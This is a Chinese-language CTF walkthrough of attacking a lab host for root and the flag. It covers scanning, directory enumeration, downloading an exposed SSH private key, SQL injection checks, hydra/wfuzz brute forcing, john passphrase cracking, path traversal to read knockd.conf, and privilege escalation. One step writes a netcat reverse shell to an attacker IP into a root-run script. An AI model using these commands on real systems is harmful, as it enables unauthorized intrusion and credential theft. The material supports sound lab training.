CTF_攻击目标主机获取root权限及flag全流程分析详解
一、主机发现
二、端口扫描
2、masscan --rate 10000 -p 1-65535 靶场IP //快速扫描
nmap -p22,31337 -sV -A //针对快速扫描发现的服务进行详细信息扫描
3、目录枚举及文件查看
dirb http://192.168.x.x:80 //目录扫描(枚举)
curl http://192.168.x.x:31337/.ssh/id_rsa //查看某个路径下文件获取信息
三、利用80或者其他端口登录到一个web后
1、查看源码(f12)
2、有登录界面
(1)判断是否存在sql注入(通过(‘ or 1=1 --+)万能公式),存在跑sqlmap
1)利用kali攻击机
可参见:https://www.cnblogs.com/boomomg/p/16596957.html
(2)暴力破解(burnsuite)
(3)暴力破解(fuzz工具)
场景1:
查询表中数据,发现大量用户及密码的表格
将表中用户名密码复制到notepad++,按ALT键复制用户名密码每列的数据到notepad并使用替换空格去掉空格保存为pass-dict,user-dict字典
使用fuzz爆破——通过上述两个字典
wfuzz -z file,user-dict -z file,pass-dict "http://192.168.142.139/manage.php?username=FUZZ&password=FUZ2Z"
wfuzz -z file,user-dict -z file,pass-dict --hw 87 "http://192.168.142.139/manage.php?username=FUZZ&password=FUZ2Z" //加--hw 87过滤相同内容
3、登录后或者无登录界面
四、SSH服务(22端口)
(一)、如何登录
1、口令认证登录
1) ssh simon@192.168.195.183 ——输入密码: //信息收集到用户名密码直接登录
2)使用Hydra对SSH用户名、密码进行暴力破解
场景1:
hydra暴力破解SSH用户名密码:
hydra -L user-dict -P pass-dict 192.168.178.135 ssh
或者hydra -L user-dict -P pass-dict ssh://192.168.178.135
得到:
[22][ssh] host: 192.168.178.135 login: joeyt password: Passw0rd
[22][ssh] host: 192.168.178.135 login: janitor password: Ilovepeepee
2、密钥认证登录
场景1:目标:利用id_rsa私钥登录到目标服务器
1)利用目录扫描发现三个文件:
id_rsa //私钥,
authorized_keys //公钥数据库文件集(可存储多个目标的公钥信息)
id_rsa.pub //公钥
2)利用authorized_keys获取用户名
wget http://192.168.195.138:31337/.ssh/authorized_keys
cat authorized_keys //通过authorized_keys文件发现用户为simon
3)利用id_rsa登录目标用户
wget http://192.168.195.138:31337/.ssh/id_rsa //wget下载目标文件
chmod 600 id_rsa //id_rsa密钥文件权限只能为600
ssh -i id_rsa simon@192.168.195.183 //登录提示输入密码,怎么办??(注意:id_rsa为目标服务器密钥)
4)利用John破解私钥保护密码
a、利用子工具ssh2john.py转换为john the ripper可识别的哈希格式
locate ssh2john.py //定位ssh2john.py文件路径
/usr/share/john/ssh2john.py id_rsa > ctf.hash
b、利用john破解
john ctf.hash //破解
john ctf.hash --show //查看私钥密码为starwars
(二)、22服务端口被过滤
1)防火墙或者用户限制登录
2)存在端口敲门服务knockd.conf
场景1:目标:获取端口22的访问权限
a、 判断是否为端口敲门
nmap -p22 192.168.178.135
PORT STATE SERVICE
22/tcp filtered ssh
80/tcp open http
http://192.168.178.135/manage.php?file=../../../../../../../../../etc/knockd.conf
[options] UseSyslog [openSSH] sequence = 7469,8475,9842 seq_timeout = 25 command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT tcpflags = syn [closeSSH] sequence = 9842,8475,7469 seq_timeout = 25 command = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT tcpflags = syn
b、依次使用如下命令对各个端口进行敲门,打开22服务
nc -nv 192.168.178.135 7469
nc -nv 192.168.178.135 8475
nc -nv 192.168.178.135 9842或者
nmap -p 7469 192.168.178.135
nmap -p 8475 192.168.178.135
nmap -p 9842 192.168.178.135
nmap -P 22 192.168.178.135
PORT STATE SERVICE
22/tcp open ssh //已经打开
80/tcp open http
(三)、利用22端口通过ssh登录到某个用户后
有以下信息挖掘方式:
1、whoami
2、uname -a
3、sysinfo
4、sudo -l
5、sudo su ——输入密码
6、ls -a //查看隐藏文件或目录,
如.ssh/id_rsa:
场景1:
7、history
8、/etc/passwd
9、/tmp
10、/etc/crontab
心得:下边两个场景获得信息,要想获取某个用户(一般用户或者root用户),通过反弹shell执行目标用户具有权限的文件并监听,从而获取目标用户权限(包括msc)---------只要能触发执行,就能干shell盘它!!!
第一种情况:目的是获取另一个用户权限
当前用户(通过crontab发现另一个用户具有计划任务自动执行某个文件,且当前用户没有该文件,)
利用当前用户(创建该文件并将反弹shell写入此文件,利用反弹shell并开启监听获取到另一个用户的权限。)
来自:https://www.bilibili.com/video/BV1eq4y1x71H?p=10&spm_id_from=pageDriver&vd_source=a42355572f865b8eb799da280275502b
另一种场景:目的是获取root权限
通过sudo -l (发现tee文件【具有将一个文件{恶意脚本}写入另一个文件的功能】,
同时另一个文件tidyup.sh内容说具有每三分钟自动运行一次的功能(相当于计划任务自动执行),
由于当前用户也具有sudo的功能)
所以通过tee命令将恶意代码 {nc -e /bin/bash 192.168.110.128 5555}写入到tidyup.sh等待三分钟执行,开启监听即可获得root权限
来自:https://www.bilibili.com/video/BV1BL4y1w7ra?p=17&vd_source=a42355572f865b8eb799da280275502b
11、robots.txt
五:提权
1、内核版本提权
uname -a
cat /etc/*.release
sysinfo
2、利用SUID提权(4000)
(1)用普通用户去找具有4000权限的文件
find / -user root -perm -4000 -type f 2>/dev/null -exec ls -l {} \;
找到具有/home等目录下的一些文件,如果具有root用户执行权限,普通用户能够访问并直接执行即可得到root用户权限